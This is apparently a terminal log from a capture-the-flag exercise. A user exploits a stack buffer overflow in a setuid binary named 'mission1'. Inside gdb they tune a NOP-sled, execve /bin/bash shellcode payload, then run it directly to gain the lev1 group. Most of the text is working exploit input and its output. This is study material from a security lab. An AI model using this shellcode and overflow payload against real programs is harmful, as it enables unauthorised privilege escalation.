chall mission1

m838206@ip-172-31-9-193:~/mission1$ gdb mission1
(gdb) r $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd1\xff\xff"*2')
Starting program: /home/m838206/mission1/mission1 $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd1\xff\xff"*2')
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                        ���V̀1ۉ�@̀�����/bin/bash������

Program received signal SIGILL, Illegal instruction.
0xffffd116 in ?? ()
(gdb) x/10s $esp+120*4
0xffffd230:     "06/mission1/mission1"
0xffffd245:     '\220' <repeats 15 times>, "\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f̀1ۉ\330@̀\350\334\377\377\377/bin/bash\026\321\377\377\026\321\377\377"
0xffffd28c:     "XDG_SESSION_ID=6513"
0xffffd2a0:     "TERM=screen"
0xffffd2ac:     "SHELL=/bin/bash"
0xffffd2bc:     "SSH_CLIENT=131.175.28.131 38494 10000"
0xffffd2e2:     "SSH_TTY=/dev/pts/8"
0xffffd2f5:     "EGG=", '\220' <repeats 196 times>...
0xffffd3bd:     '\220' <repeats 34 times>, "\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f̀1ۉ\330@̀\350\334\377\377\377/bin/sh"
0xffffd40d:     "USER=m838206"
(gdb) r $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd3\xff\xff"*2')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/m838206/mission1/mission1 $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd3\xff\xff"*2')
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                        ���V̀1ۉ�@̀�����/bin/bash������
process 13036 is executing new program: /bin/dash
$ /home/l33t
What are you trying to do?
Your group ID should be lev-something to use this command!
Go back and try to hack something!
$ id
uid=1165(m838206) gid=1175(m838206) groups=1175(m838206)
$
[Inferior 1 (process 13036) exited normally]
(gdb) q
m838206@ip-172-31-9-193:~/mission1$ ./mission1 $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd3\xff\xff"*2')
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                        ���V̀1ۉ�@̀�����/bin/bash������
$ id
uid=1165(m838206) gid=1175(m838206) egid=1001(lev1) groups=1175(m838206)
$ /home/l33t
Adding user `m838206' to group `lev1' ...
Adding user m838206 to group lev1
Done.